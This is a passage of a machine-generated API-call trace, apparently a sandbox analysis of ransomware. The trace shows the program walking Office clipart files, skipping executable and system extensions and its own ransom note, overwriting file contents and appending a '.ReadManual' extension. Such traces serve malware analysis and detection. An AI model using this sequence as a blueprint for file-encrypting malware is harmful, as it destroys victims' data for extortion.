lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.ReadManual.5A595725" [0260.909] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.ReadManual.5A595725") returned 87 [0260.909] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38157824929) returned 1 [0260.910] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0260.910] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.910] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8366) returned 1 [0260.910] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20ae, lpName=0x0) returned 0x184 [0260.910] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.910] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.911] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.912] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.912] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20ae) returned 0x2f0000 [0260.913] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.913] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38158146959) returned 1 [0260.913] CloseHandle (hObject=0x184) returned 1 [0260.913] SetSecurityInfo () returned 0x57 [0260.913] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.913] CloseHandle (hObject=0x194) returned 1 [0260.914] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0260.914] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00184_.WMF" | out: lpString1="BS00184_.WMF") returned="BS00184_.WMF" [0260.914] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.914] StrStrIW (lpFirst="BS00184_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.914] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.914] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.914] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" [0260.914] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.ReadManual.5A595725" [0260.914] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.ReadManual.5A595725") returned 87 [0260.914] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38158295824) returned 1 [0260.914] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0260.914] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.915] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4976) returned 1 [0260.915] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1370, lpName=0x0) returned 0x184 [0260.915] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.915] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.915] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.917] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.917] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1370) returned 0x2f0000 [0260.917] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.917] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38158608663) returned 1 [0260.917] CloseHandle (hObject=0x184) returned 1 [0260.917] SetSecurityInfo () returned 0x57 [0260.918] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.918] CloseHandle (hObject=0x194) returned 1 [0260.918] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0260.918] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00186_.WMF" | out: lpString1="BS00186_.WMF") returned="BS00186_.WMF" [0260.918] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.918] StrStrIW (lpFirst="BS00186_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.918] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.918] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.918] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.918] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.919] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.919] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" [0260.919] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.ReadManual.5A595725" [0260.919] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.ReadManual.5A595725") returned 87 [0260.919] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38158765717) returned 1 [0260.919] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0260.920] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.920] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12788) returned 1 [0260.920] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31f4, lpName=0x0) returned 0x184 [0260.920] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.920] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.921] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.922] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.922] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31f4) returned 0x2f0000 [0260.923] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.923] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38159149049) returned 1 [0260.923] CloseHandle (hObject=0x184) returned 1 [0260.923] SetSecurityInfo () returned 0x57 [0260.923] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.923] CloseHandle (hObject=0x194) returned 1 [0260.924] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0260.924] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00200_.WMF" | out: lpString1="BS00200_.WMF") returned="BS00200_.WMF" [0260.924] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.924] StrStrIW (lpFirst="BS00200_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.924] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.924] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.924] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" [0260.924] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.ReadManual.5A595725" [0260.924] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.ReadManual.5A595725") returned 87 [0260.924] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38159305645) returned 1 [0260.924] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0260.925] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.925] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3104) returned 1 [0260.925] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc20, lpName=0x0) returned 0x184 [0260.925] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.925] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.925] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.927] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.927] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc20) returned 0x2f0000 [0260.927] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.927] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38159600496) returned 1 [0260.927] CloseHandle (hObject=0x184) returned 1 [0260.927] SetSecurityInfo () returned 0x57 [0260.927] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.927] CloseHandle (hObject=0x194) returned 1 [0260.928] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0260.928] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00224_.WMF" | out: lpString1="BS00224_.WMF") returned="BS00224_.WMF" [0260.928] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.928] StrStrIW (lpFirst="BS00224_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.928] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.928] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.929] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.929] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.929] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" [0260.929] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.ReadManual.5A595725" [0260.929] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.ReadManual.5A595725") returned 87 [0260.929] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38159748488) returned 1 [0260.929] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0260.929] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.929] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1588) returned 1 [0260.929] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x634, lpName=0x0) returned 0x184 [0260.929] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.930] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.930] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.931] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.931] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x634) returned 0x2f0000 [0260.931] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.932] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38160031498) returned 1 [0260.932] CloseHandle (hObject=0x184) returned 1 [0260.932] SetSecurityInfo () returned 0x57 [0260.932] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.932] CloseHandle (hObject=0x194) returned 1 [0260.932] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0260.932] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00438_.WMF" | out: lpString1="BS00438_.WMF") returned="BS00438_.WMF" [0260.932] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.932] StrStrIW (lpFirst="BS00438_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.933] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.933] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.933] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" [0260.933] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.ReadManual.5A595725" [0260.933] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.ReadManual.5A595725") returned 87 [0260.933] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38160180358) returned 1 [0260.933] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0260.933] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.933] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1212) returned 1 [0260.933] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4bc, lpName=0x0) returned 0x184 [0260.934] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.934] SetFilePointerEx (in: hFile=0x194, 